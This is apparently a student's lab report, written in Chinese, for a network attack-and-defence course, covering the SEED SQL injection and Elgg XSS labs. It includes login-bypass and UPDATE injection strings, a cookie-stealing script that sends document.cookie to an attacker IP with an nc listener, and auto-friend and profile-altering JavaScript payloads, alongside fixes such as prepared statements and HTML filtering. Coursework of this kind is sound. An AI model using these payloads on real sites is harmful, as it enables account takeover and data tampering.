luxy2121

导航

20252920 2025-20246-2 《网络攻防实践》实践十报告

20252920 2025-20246-2 《网络攻防实践》实践十报告

1.实践内容

1.1SEED SQL注入攻击与防御实验

(1)使用数据库熟悉SQL查询: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。

1.2SEED XSS跨站脚本攻击实验(Elgg)

(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。

2.实践过程

先在网页下载新的虚拟机,然后进行后面的实验。

任务一:SEED SQL 注入攻击与防御实验

步骤1:熟悉 SQL 语句

使用以下命令使用 root 登录 MySQL 数据库:

mysql -u root -pseedubuntu

image

使用以下命令查看 MySQL 中已有的数据库:

show databases;

image

使用以下命令切换到 Users 数据库,并查看所有的数据表:

use Users;
show tables;

image

利用sql语句 select * from credential; 查看credential中所有记录。

image

使用sql语句 select * from credential where Name = ‘Alice’; 查询Name为Alice的相关记录。

image

查询ID小于等于3的员工信息 select * from credential where ID <=3;
image

步骤2:对SELECT语句的SQL注入攻击

首先在火狐浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。可以看到是这样的一个登录界面:

image

右键查看网页源码,发现登陆的表单中使用 get 方法访问unsafe_home.php

image

相关的文件可以利用浏览器进行查看,其地址为:/var/www/SQLInjection/unsafe_home.php

通过下面两个图我们可以看到,该程序针对admin和普通用户具有不同的处理方法。

image

image

因此针对程序代码,我们可以构造 Admin'#,并让 $input_uname 等于该值,这样会使得后的Password判断不会执行。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录,密码留空,然后发现能登陆了:

image

步骤3:对 UPDATE语句的SQL注入攻击

以 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,发现仅能修改昵称、邮箱、地址等非敏感信息。

image

image

查看并分析后端更新代码vim /var/www/SQLInjection/unsafe_edit_backend.php

image

在NickName处输入 ‘, Salary=‘2920’ where name=‘Admin’; #

原理:闭合 nickname 字段的字符串,添加 Salary='2920' where name='Admin' 子句修改管理员薪资,最后用 # 注释后续内容。

image

发现已经成功修改了

步骤4:SQL 对抗

修复 SELECT 语句注入:编辑 unsafe_home.php,使用 preparebind_param 实现参数化查询:

vim /var/www/SQLInjection/unsafe_home.php

image

将原 SQL 语句替换为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

image

然后现在不能登陆了,实验成功。

image

实践二

发布恶意消息,显示警报窗口

步骤1:发布恶意消息,显示警报窗口

使用 Alice 账号登录 Elgg 平台( http://www.xsslabelgg.com ),然后 进入个人资料编辑页面。

image

image

在下面Brief description文本框输入语句之后,点击"Save"按钮保

<script>alert('wcy_20242935');</script>

image

发现出现了"XSS弹窗"

image

修改 "Brief description" 中的代码为:<script>alert('cy Cookie:' + document.cookie);</script>

save后,页面弹出包含当前用户 Cookie 的警告窗口,证明可以通过 XSS 获取用户会话信息。

image

步骤3:窃取受害者的 Cookies

查看攻击者主机的 IP 地址:ifconfig

image

攻击者 IP 为 192.168.200.12。

构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 500 端口:<script>document.write('<img src=http://192.168.200.12:500?host=cy&c='+escape(document.cookie) + ' >');</script>

image

在攻击者终端开启端口监听:

sudo nc -l 500 -v

image

使用 Boby账号登录 Elgg,访问 Alice 的个人主页。

查看攻击者终端,看是否成功接收到 Boby 的 Cookie 信息。

image

image

发现成功接收到。

步骤4:成为受害者的朋友(自动操作)

手动添加 Boby 为好友,同时按 F12 打开浏览器开发者工具,切换到 "Network" 标签。

image

观察好友添加时,网页请求信息及相关参数

image

从下图我们可以看到一共申请参数一共有三个,分别是:friend, __elgg_ts, __elgg_token,别分代表着好友的id、时间戳以及token。

image

构造自动加好友的 JavaScript 代码,放入 Alice 的 "About me" 字段(需切换到 "Edit HTML" 模式):

<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 44为Samy的用户ID
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=cy" + ts + token;

Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();}</script>

image

使用 Samy 账号(密码 seedsamy)登录 Elgg,访问 Alice 的个人主页。

image

发现已经成功添加好友。

步骤5:修改受害者的信息

分析 Elgg 修改个人资料的 POST 请求,构造自动修改信息的代码:

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>changed by 20252920.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

放入 "About me" 字段,使用 Boby 账号访问 Alice 主页。

image

看 Boby 的个人资料,发现 "About me" 已被修改,信息篡改成功。

image

image

步骤6:编写 XSS 蠕虫(自动传播)

构造具有自我复制能力的 XSS 蠕虫代码,将自身注入到受害者的个人资料中:

用boby看alice主页后,用sammy的账号看boby账号
image

image

samy也成功别boby传染。

步骤7:对抗 XSS 攻击

使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

image

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。

验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效。

image

3、学习中遇到的问题及解决

1、问题:虚拟机不能复制,安装新的虚拟机重新安装所需插件。

2、问题:在实验一中登录MySQL数据库失败。
solve:改成 mysql -u root -pseedubuntu 指令。

4.实践总结

通过本次实验我学到了很多XSS的攻击方法,同时也对SQL语句,JS代码有了更深的理解。

posted on 2026-06-01 18:18  20252920卢兴宇  阅读(19)  评论(0)    收藏  举报